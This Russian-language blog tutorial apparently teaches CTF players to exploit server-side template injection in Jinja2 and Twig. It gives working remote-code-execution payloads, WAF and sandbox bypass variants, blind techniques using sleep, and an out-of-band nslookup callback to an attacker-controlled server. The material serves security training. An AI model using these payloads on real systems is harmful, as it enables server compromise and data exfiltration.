
На прошлогоднем CTF web-задание на 300 очков выглядело до абсурда просто: форма обратной связи, поле «Имя», ответ сервера «Привет, [имя]!». Отправляю {{7*7}} — получаю «Привет, 49!». Семь минут спустя — RCE и флаг. Вся цепочка от арифметики до чтения /flag.txt уложилась в пять payload'ов, каждый логически вытекал из предыдущего через MRO-цепочку Python.
Проблема русскоязычных материалов про SSTI уязвимость — они либо останавливаются на {{7*7}}, либо сразу дают готовый payload из PayloadsAllTheThings без объяснения, почему он работает и что делать, когда WAF его режет. Ниже разберём построение RCE-цепочек с нуля для двух движков, которые чаще всего попадаются на CTF: Jinja2 (Python/Flask) и Twig (PHP/Symfony).
Server-side template injection и XSS начинаются одинаково — пользовательский ввод отображается на странице. Разница в том, где происходит обработка. XSS-payload выполняется в браузере жертвы: атакующий внедряет JavaScript, работающий в контексте DOM. SSTI payload обрабатывается шаблонизатором на сервере до того, как HTML вообще отправлен клиенту. Подробнее — в нашем обзоре создание ctf заданий.
Что это значит на практике: XSS ограничен браузерным sandbox — кража cookies, перенаправление, keylogging. SSTI уязвимость открывает прямой путь к серверному RCE: выполнение произвольных команд ОС. По классификации OWASP — A03:2021 Injection. В терминах MITRE ATT&CK успешная эксплуатация SSTI — это T1190 Exploit Public-Facing Application (тактика Initial Access), а установка веб-шелла после получения RCE — T1505.003 Web Shell (тактика Persistence).
Как отличить на глаз: ввод <script>alert(1)</script> вызывает JavaScript-попап — перед вами XSS. Ввод {{7*7}} возвращает 49 вместо текстовой строки {{7*7}} — сервер обработал выражение как шаблон. Обе уязвимости могут сосуществовать в одной точке ввода, но SSTI всегда опаснее. Путать их — частая ошибка на CTF, и я видел достаточно writeup'ов, где автор радостно репортит XSS, не проверив шаблонизатор.
Зачем атакующему именно SSTI? Через RCE — доступ к файловой системе сервера: конфигурации, базы данных, приватные ключи. Дальше — закрепление через веб-шелл и lateral movement. По данным Verizon DBIR 2025, на веб-атаки приходится 26% всех подтверждённых нарушений. SSTI — рабочий вектор, а не экзотика из CTF.
Первый шаг в эксплуатации шаблонизаторов PHP Python и других стеков — определить, уязвимо ли приложение и какой движок используется. По методологии PortSwigger процесс делится на три фазы: Detect, Identify, Exploit.
Для обнаружения SSTI уязвимости начните с фаззинга спецсимволами. PortSwigger рекомендует последовательность ${{<%[%'"}}%\ — если сервер возвращает ошибку шаблонизатора или неожиданный ответ, template engine injection вероятен.
Более точный метод — полиглот-payload'ы, которые по-разному обрабатываются разными движками:
{{7*7}} — если возвращает 49, вероятен Jinja2 или Twig${7*7} — если возвращает 49, вероятен Freemarker или Velocity<%= 7*7 %> — если возвращает 49, вероятен ERB (Ruby){{7*'7'}} — ключевой дифференциатор: Jinja2 вернёт 7777777 (умножение строки на число — поведение Python), Twig вернёт 49 (приведение к числу — поведение PHP)Трюк с {{7*'7'}} — самый быстрый способ отличить Jinja2 от Twig. Строка '7', умноженная на 7 в Python, даёт семь семёрок. PHP приводит numeric string '7' к числу перед умножением (PHP 7/8); для non-numeric strings в PHP 8 будет TypeError. Запомните это — на CTF экономит минуты.
Для сложных случаев — error-based подход: отправьте невалидный синтаксис {%invalid%}. Текст ошибки часто содержит имя движка и версию: Flask с Jinja2 покажет jinja2.exceptions.UndefinedError, а Twig — Twig\Error\SyntaxError. Для подтверждения Jinja2 в Flask проверьте {{config}} — он вернёт объект конфигурации с параметрами приложения. Twig ответит на {{app.request.server.all}} выводом серверных переменных.
Flask Jinja2 уязвимость — самый частый SSTI-сценарий на CTF. Проблема возникает, когда разработчик пишет render_template_string(user_input) вместо безопасного render_template("page.html", name=user_input). В первом случае пользовательский ввод становится самим шаблоном — атакующий контролирует не данные, а код.
MRO (Method Resolution Order) — порядок, в котором Python ищет методы в иерархии классов. Через MRO можно из любого объекта добраться до базового класса object, получить список всех его подклассов и найти класс, способный выполнять системные команды. Это ядро Jinja2 sandbox escape.
Разберём цепочку по шагам — каждый SSTI payload строится на результате предыдущего:
# 1. Подтверждаем SSTI
{{7*7}} → 49
# 2. Получаем класс любого объекта и поднимаемся по MRO
{{''.__class__.__mro__}} → (<class 'str'>, <class 'object'>)
# 3. Список ВСЕХ подклассов object
{{''.__class__.__mro__[1].__subclasses__()}} → [300+ классов]
# 4. Находим os._wrap_close или subprocess.Popen по индексу
{{''.__class__.__mro__[1].__subclasses__()[IDX].__init__.__globals__['popen']('id').read()}}
Ключевой момент — шаг 3. Список подклассов содержит сотни классов, и нужно найти индекс класса с доступом к выполнению команд. Индекс зависит от версии Python и установленных модулей — на каждом таргете он свой. На CTF проще всего вывести полный список через {{''.__class__.__mro__[1].__subclasses__()}}, скопировать его, найти subprocess.Popen или os._wrap_close и подставить нужный индекс. Нудно, но работает.
Вместо __mro__ можно использовать __base__ — он сразу возвращает родительский класс: {{''.__class__.__base__}} эквивалентно {{''.__class__.__mro__[1]}}. Экономит несколько символов в payload'е (иногда это критично при ограничении длины ввода).
Альтернативный путь — через объект request, который Flask автоматически добавляет в контекст шаблона. Payload {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} обходит перебор индексов. Тут request.application — Flask-приложение, __globals__ — глобальное пространство имён модуля, __builtins__ содержит встроенную функцию __import__ для подгрузки модуля os.
Если Flask-приложение не добавляет request в контекст (бывает в CTF-тасках), используйте другие глобальные объекты Jinja2: g, config, self. Объект self (точнее self._TemplateReference__context) даёт доступ к cycler, через который можно добраться до os. Payload {{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}} не зависит от Flask-специфичных объектов. Работоспособность зависит от версии Jinja2 — в некоторых версиях cycler.__init__.__globals__ не содержит os напрямую, тогда используйте __builtins__ для __import__('os').
Ещё одна полезная цель — утечка конфигурации. Payload {{config.items()}} выводит все переменные конфигурации Flask, включая SECRET_KEY. Зная секретный ключ, можно подписать произвольные сессионные cookies и получить привилегированный доступ к приложению без RCE. На CTF это иногда единственный путь к флагу — не всегда нужно ломать до RCE.
На CTF средней и высокой сложности стандартные payload'ы не пройдут — WAF или кастомный фильтр режет определённые символы. Разберём системный подход к обходу (основан на исследовании onsecurity.io и материалах PayloadsAllTheThings).
# WAF блокирует точки → скобочная нотация
{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']()}}
# + подчёркивания → hex-encoding (\x5f = _)
{{request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']()}}
# + квадратные скобки → фильтр |attr
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
Логика обхода: в Python выражения foo.bar, foo['bar'] и foo|attr('bar') функционально эквивалентны — все обращаются к атрибуту объекта. Jinja2 поддерживает все три формы. WAF фильтрует одну — используйте другую. Просто.
Hex-encoding подчёркиваний (\x5f вместо _) работает потому, что Jinja2 сначала обрабатывает escape-последовательности и лишь потом резолвит атрибуты. WAF видит \x5f\x5f, а шаблонизатор — __. Красивый race condition между фильтром и рендерером.
Отдельный случай — блокировка двойных фигурных скобок {{}}. Jinja2 поддерживает альтернативный синтаксис через {% %} (блоки управления). Вместо прямого вывода можно использовать условное выражение с побочным эффектом:
{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('sleep 5')['read']() == 'x' %} a {% endif %}
Если сервер задерживает ответ на пять секунд — команда выполнена. Это blind SSTI: прямого вывода нет, но задержка подтверждает выполнение кода. Для извлечения данных используйте тот же принцип, что и в blind SQL injection — побайтовое сравнение со startswith() или отправку результата через HTTP-callback (curl/nc) на контролируемый сервер.
Ещё один обход — построение строки без кавычек. Можно вытаскивать символы из строкового представления глобальных переменных: {{self.__init__.__globals__.__str__()[1786:1788]}} достаёт нужные символы по индексу. Индексы в примере — иллюстрация: конкретные позиции зависят от версии Python и окружения, подбирать нужно экспериментально для каждого таргета.
Комбинация |join тоже обходит фильтры: {{['__','class','__']|join}} формирует строку __class__ из массива. Sandbox проверяет подстроки в исходном шаблоне, но строки, собранные из массива, проходят проверку. Фильтр смотрит на исходник, а join выполняется уже на этапе рендеринга.
Twig — шаблонизатор для PHP, стандартный в Symfony. На CTF встречается реже Jinja2, но тем ценнее навык его эксплуатации. Уязвимость возникает аналогично: вместо безопасного $twig->render("page.html", ["name" => $input]) разработчик пишет $twig->render("Dear " . $_GET['name']), конкатенируя пользовательский ввод с шаблоном.
Классический RCE-payload для Twig 1.x использует метод registerUndefinedFilterCallback:
# Twig 1.x — RCE через registerUndefinedFilterCallback
{{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
# Twig — RCE без кавычек (известная техника обхода auto-escaping)
{%block U%}id000passthru{%endblock%}{%set x=block(_charset|first)|split(000)%}{{[x|first]|map(x|last)|join}}
# Примечание: payload зависит от _charset='UTF-8' (|first даёт 'U' — имя блока); поведение |map с именем функции как строкой подтверждено только в Twig 1.x
Первый payload регистрирует PHP-функцию system как обработчик неизвестных фильтров, а затем вызывает несуществующий фильтр 'id' — Twig передаёт его имя зарегистрированному callback'у, выполняя system('id'). Изящно, если вдуматься.
В Twig 2.x и 3.x этот вектор закрыт: объект _self.env больше недоступен напрямую. Для доступа к переменным окружения используйте {{app.request.server.all}} (аналог phpinfo()).
Второй payload — без единой кавычки. Блок U содержит строку id000passthru, которая разбивается по разделителю 000 на массив ['id', 'passthru']. Первый элемент — аргумент команды, второй — PHP-функция. Через map они соединяются в вызов passthru('id'). Это критически важно для обхода auto-escaping: шаблонизатор экранирует строковые данные в кавычках, но без кавычек фильтр не срабатывает.
По данным PortSwigger, Twig-сценарии на CTF часто дают привилегированную учётную запись (content-manager) с возможностью редактировать шаблоны. Уязвимость тут не в фильтрации ввода, а в самой архитектуре: пользователь контролирует содержимое шаблона by design. Не баг, а фича, которую можно абьюзить.
Ищите любое место, где пользовательский ввод отображается в ответе сервера: поисковые строки, формы обратной связи, кастомизируемые email-шаблоны, URL-параметры, HTTP-заголовки (особенно X-Forwarded-Host, User-Agent). На CTF SSTI часто прячется не в очевидной форме, а в cookie или нестандартном заголовке — я однажды нашёл инъекцию в Accept-Language. Для каждой найденной точки отправьте полиглот-строку ${{<%%'"}}%\. Ошибка шаблонизатора в ответе — подтверждение уязвимости.
Последовательно проверяйте дифференциаторы:
1. {{7*7}} — если 49, вероятен Jinja2 или Twig
2. {{7*'7'}} — 7777777 означает Jinja2, 49 — Twig
3. ${7*7} — если 49, Freemarker или Velocity
4. Error-based: {%invalid%} — текст ошибки назовёт движок
Подтверждение: {{config}} для Flask/Jinja2, {{app.request.server.all}} для Twig.
Для Jinja2: начните с {{config.items()}} для утечки конфигурации. Попробуйте прямой RCE через request.application.__globals__.__builtins__.__import__('os').popen('COMMAND').read(). Если WAF блокирует — применяйте байпасы последовательно: скобочная нотация, hex-encoding, attr-фильтр.
Для Twig: {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('COMMAND')}}. Если _self.env недоступен (Twig 2+), переходите к payload'ам через map и блоки.
Не получается RCE? Снижайте планку: читайте файлы через MRO-цепочку с классом _io.FileIO или выводите переменные окружения. На CTF флаг иногда лежит в переменной окружения, а не в файле. Не зацикливайтесь на RCE, если задание этого не требует.
Автоматизация: tplmap (аналог sqlmap для template engine injection) определяет движок и подбирает payload'ы. Запуск tplmap -u "http://target/?name=*" сканирует параметр name на SSTI. Но на CTF средней сложности tplmap часто не справляется с кастомными фильтрами — ручное построение цепочки остаётся необходимым навыком. Инструмент хорош для разведки, но полагаться на него целиком — как ехать по навигатору с закрытыми глазами.
На CTF повышенной сложности стандартные MRO-цепочки не работают: Jinja2 SandboxedEnvironment блокирует доступ к атрибутам, начинающимся с подчёркивания. Sandbox проверяет полное имя атрибута, но строковые переменные собираются динамически — и это его слабость.
Конкатенация строк через оператор ~. Если sandbox блокирует __class__ целиком, соберите его по частям: {%set a='__cla'%}{%set b='ss__'%}{{''|attr(a~b)}}. Оператор ~ в Jinja2 — конкатенация строк. Фильтр видит две безобидные переменные, а шаблонизатор после подстановки получает __class__. Sandbox обманут.
Фильтр |join для сборки строк работает по той же логике. Payload {{['__','class','__']|join|attr}} формирует целевое имя атрибута из массива. Sandbox проверяет подстроки в исходном коде шаблона, но join выполняется на этапе рендеринга, когда проверка уже пройдена.
Blind SSTI через timing. Когда ни один payload не даёт прямого вывода, используйте sleep() для подтверждения и HTTP-callback для эксфильтрации. Рабочая техника — nslookup в SSTI-payload'ах: атакующий отправляет DNS-запрос к контролируемому домену и по логам DNS-сервера видит, какие цели уязвимы. На CTF это выглядит так: {{request.application.__globals__.__builtins__.__import__('os').popen('nslookup YOUR_SERVER').read()}}. Поднимаете Burp Collaborator или свой DNS — и ловите callback.
Для Twig sandbox escape работает через рефлексию объектов. Для Freemarker, например, через product.class.protectionDomain.classLoader загружается произвольный Java-класс, минуя ограничения песочницы. В Twig аналогом служит доступ через глобальные переменные _context и _charset.
Формула на бумаге понятна, но механику sandbox escape по-настоящему ощущаешь только когда перебираешь десятки индексов в __subclasses__(), натыкаешься на заблокированные атрибуты и ищешь обходной путь. Есть неприятная правда: 90% CTF-игроков решают web-таски с SSTI копированием payload'ов из PayloadsAllTheThings. Это работает ровно до первого задания с кастомным фильтром.
Готовый payload — как чужой набор отмычек: подходит к стандартному замку, но бесполезен перед нестандартным. Понимание MRO-цепочки и логики bypass'ов — навык, который не заменяется шпаргалкой. Я видел достаточно CTF-writeup'ов, где автор честно пишет «скопировал из GitHub, не знаю почему работает» — и для первых тасков это нормально. Но sandbox'ы становятся жёстче, фильтры — умнее. Кто сейчас разбирается, как строить цепочки руками — от пустой строки через __class__ и MRO до popen — будет решать такие задания за минуты. Кто копирует — застрянет на первом нестандартном фильтре. На WAPT эту цепочку проходят в течение двух модулей с лабами, от разведки шаблонизатора до полного bypass sandbox.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...